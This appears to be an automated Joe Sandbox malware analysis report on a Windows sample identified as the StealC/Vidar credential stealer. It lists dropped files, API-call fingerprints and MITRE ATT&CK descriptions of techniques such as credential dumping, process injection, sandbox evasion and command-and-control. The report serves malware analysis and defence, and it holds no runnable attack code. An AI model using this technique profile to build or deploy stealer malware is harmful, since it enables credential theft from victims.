Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: b37111d5f8eeb823df777cbcd040518c741bde7b5a50465ec83e0af65f747a1f
Instruction ID: a924e98c262ec472093793b2d965a0b7359e6e45be55b825a94ceed85a20281e
Opcode Fuzzy Hash: b37111d5f8eeb823df777cbcd040518c741bde7b5a50465ec83e0af65f747a1f
Instruction Fuzzy Hash: A431C7706487898BDB306F78C648A5A77B4BF5630CF11CA29D888CBA11EB34D4A5CB81

Function 6C840F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C7E2AF5,?,?,?,?,?,6C7E0A1B,00000000), ref: 6C840F1A
malloc.MOZGLUE(00000001), ref: 6C840F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C840F42
TlsGetValue.KERNEL32 ref: 6C840F5B

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 43b6b87d6cef56d80ed0d296290cba3f32ff9ae8841e8875fa8f7b6d6281d65b
Instruction ID: 185c76d7d8ef43bb8dd969da0ad8b9e10fbf81f9711ea13f5f1eb6c3dc1da9f5
Opcode Fuzzy Hash: 43b6b87d6cef56d80ed0d296290cba3f32ff9ae8841e8875fa8f7b6d6281d65b
Instruction Fuzzy Hash: E0016DB1E006484BE730273D8F045577AACEF6229DF014A31DC1CC7A61E730D405C2E2

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report T220UXIoKO.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAKKECFBGIIIEBGDGDAKJKKKEB

C:\ProgramData\FBAAAKFC

C:\ProgramData\GDHDHJEBGHJKFIECBGCBGCAFII

C:\ProgramData\HJKECAAAFHJECAAAEBFCAEBFHC

C:\ProgramData\JDAKJDAA

C:\ProgramData\JDAKJDAAFB.exe

C:\ProgramData\JDAKJDAAFBKFHIEBFCFB

C:\ProgramData\JJJJEBGDAFHJEBGDGIJD

C:\ProgramData\KFCAFIIDHIDGHIECGDGI

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
T220UXIoKO.exe

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Function 00419860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 0040BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C6C35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 00414910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00419C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre